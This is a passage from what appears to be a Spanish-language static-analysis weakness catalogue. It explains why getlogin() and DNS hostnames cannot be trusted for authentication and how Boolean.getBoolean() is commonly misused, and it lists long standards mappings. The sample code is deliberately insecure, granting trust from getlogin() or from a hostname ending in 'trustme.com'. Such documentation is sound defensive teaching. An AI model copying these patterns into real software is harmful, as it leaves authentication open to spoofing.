[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 807
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 807
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3460 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3460 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3460 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3460 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3460 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3460 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3460 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001520 CAT II, APSC-DV-001530 CAT II, APSC-DV-001970 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.semantic.dotnet.often_misused_authentication
Abstract
La función getlogin() es fácil de reemplazar. Por eso, no confíe en el nombre que devuelva.
Explanation
Se supone que la función getlogin() devuelve una cadena que contiene el nombre del usuario registrado actualmente en el terminal. Sin embargo, un atacante podría hacer que getlogin() devuelva el nombre de todos los usuarios registrado en el equipo. No confíe en el nombre devuelto por getlogin() cuando tome decisiones relacionadas con la seguridad.
Ejemplo 1: el código siguiente se basa en getlogin() para determinar si un usuario es de confianza o no. Es fácil de subvertir.


pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
allow();
} else {
deny();
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 247, CWE ID 292, CWE ID 558, CWE ID 807
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000877
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-11 Re-Authentication (P0), MA-4 Nonlocal Maintenance (P2), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 MA-4 Nonlocal Maintenance, SC-23 Session Authenticity
[7] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 807
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 807
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3460 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3460 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3460 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3460 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3460 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3460 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3460 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001520 CAT II, APSC-DV-001530 CAT II, APSC-DV-001970 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.semantic.cpp.often_misused_authentication.getlogin
Abstract
Los atacantes pueden reemplazar las entradas DNS. Por motivos de seguridad, no confíe en nombres DNS.
Explanation
Muchos servidores DNS son susceptibles de sufrir ataques, por eso debe suponer que su software se ejecutará alguna vez en un entorno con un servidor DNS afectado. Si los atacantes están autorizados a hacer actualizaciones de DNS (a veces denominado envenenamiento de la caché del DNS), pueden redirigir su tráfico de red a través de sus equipos o hacer que parezca que sus direcciones IP forman parte de su dominio. No base la seguridad de su sistema en nombres DNS.
Ejemplo: el código siguiente usa una búsqueda DNS para determinar si una solicitud entrante procede de un host confiable. Si un atacante es capaz de dañar la caché DNS, puede obtener un estatus de confianza.


String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
trusted = true;
}


Las direcciones IP son más confiables que los nombres DNS, pero también se pueden reemplazar. Los atacantes pueden falsificar fácilmente las direcciones IP de origen de los paquetes que envían, aunque los paquetes de respuesta volverán a la dirección IP falsificada. Para ver los paquetes de respuesta, el atacante tiene que examinar el tráfico entre el equipo víctima y la dirección IP falsificada. A fin de completar el examen necesario, los atacantes normalmente intentan ubicarse en la misma subred que el equipo víctima. Los atacantes podrían ser capaces de evitar este requisito empleando enrutamiento de origen, aunque el enrutamiento de origen esté deshabilitado actualmente en gran parte de Internet. En resumen, la verificación de las direcciones IP puede ser una parte útil de un esquema de autenticación, pero no debe ser el único factor necesario para la autenticación.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 247, CWE ID 292, CWE ID 558, CWE ID 807
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000877
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-11 Re-Authentication (P0), MA-4 Nonlocal Maintenance (P2), SC-23 Session Authenticity (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 MA-4 Nonlocal Maintenance, SC-23 Session Authenticity
[7] Standards Mapping - OWASP Mobile 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Mobile 2024 M3 Insecure Authentication/Authorization
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-1
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[12] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[13] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[14] Standards Mapping - OWASP Top 10 2017 A2 Broken Authentication
[15] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.10
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[27] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 807
[28] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 807
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3460 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3460 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3460 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3460 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3460 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3460 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3460 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001520 CAT II, APSC-DV-001530 CAT II, APSC-DV-001970 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
desc.semantic.java.often_misused_authentication
Abstract
El método Boolean.getBoolean() se confunde a menudo con las llamadas a métodos Boolean.valueOf() o Boolean.parseBoolean().
Explanation
En la mayoría de los casos, una llamada a Boolean.getBoolean() se usa a menudo incorrectamente, ya que se presupone que devuelve el valor booleano representado por el argumento de cadena especificado. Sin embargo, como se indica en el método Boolean.getBoolean(String) de Javadoc: "Devuelve el valor 'true' solo si existe la propiedad del sistema a la que el argumento ha asignado un nombre y esta es igual a la cadena 'true'".

En la mayoría de los casos, lo que el desarrollador tenía intención de usar era una llamada al método Boolean.valueOf(String) o Boolean.parseBoolean(String).
Ejemplo 1: el siguiente código no presenta el comportamiento previsto. Imprimirá "FALSE", ya que Boolean.getBoolean(String) no convierte un primitivo de cadena, sino únicamente la propiedad del sistema.

...
String isValid = "true";
if ( Boolean.getBoolean(isValid) ) {
System.out.println("TRUE");
}
else {
System.out.println("FALSE");
}
...
References
[1] Class Boolean Oracle
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[7] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[8] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[9] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
desc.semantic.java.often_misused_boolean_getboolean